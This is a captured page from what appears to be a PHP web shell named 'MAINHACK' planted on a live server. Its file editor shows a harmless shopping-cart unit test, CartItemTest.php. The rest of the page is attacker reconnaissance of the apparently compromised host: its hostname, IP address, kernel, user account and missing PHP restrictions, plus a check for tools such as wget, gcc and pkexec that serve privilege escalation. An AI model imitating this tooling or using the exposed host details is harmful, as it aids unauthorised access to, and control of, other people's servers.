[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: CartItemTest.php
<?php namespace Gloudemans\Tests\Shoppingcart; use Orchestra\Testbench\TestCase; use Gloudemans\Shoppingcart\CartItem; use Gloudemans\Shoppingcart\ShoppingcartServiceProvider; class CartItemTest extends TestCase { /** * Set the package service provider. * * @param \Illuminate\Foundation\Application $app * @return array */ protected function getPackageProviders($app) { return [ShoppingcartServiceProvider::class]; } /** @test */ public function it_can_be_cast_to_an_array() { $cartItem = new CartItem(1, 'Some item', 10.00, ['size' => 'XL', 'color' => 'red']); $cartItem->setQuantity(2); $this->assertEquals([ 'id' => 1, 'name' => 'Some item', 'price' => 10.00, 'rowId' => '07d5da5550494c62daf9993cf954303f', 'qty' => 2, 'options' => [ 'size' => 'XL', 'color' => 'red' ], 'tax' => 0.0, 'subtotal' => 20.00, 'isSaved' => false ], $cartItem->toArray()); } /** @test */ public function it_can_be_cast_to_json() { $cartItem = new CartItem(1, 'Some item', 10.00, ['size' => 'XL', 'color' => 'red']); $cartItem->setQuantity(2); $this->assertJson($cartItem->toJson()); $json = '{"rowId":"07d5da5550494c62daf9993cf954303f","id":1,"name":"Some item","qty":2,"price":10,"options":{"size":"XL","color":"red"},"tax":"0.00","isSaved":false,"subtotal":"20.00"}'; $this->assertEquals($json, $cartItem->toJson()); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.69 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002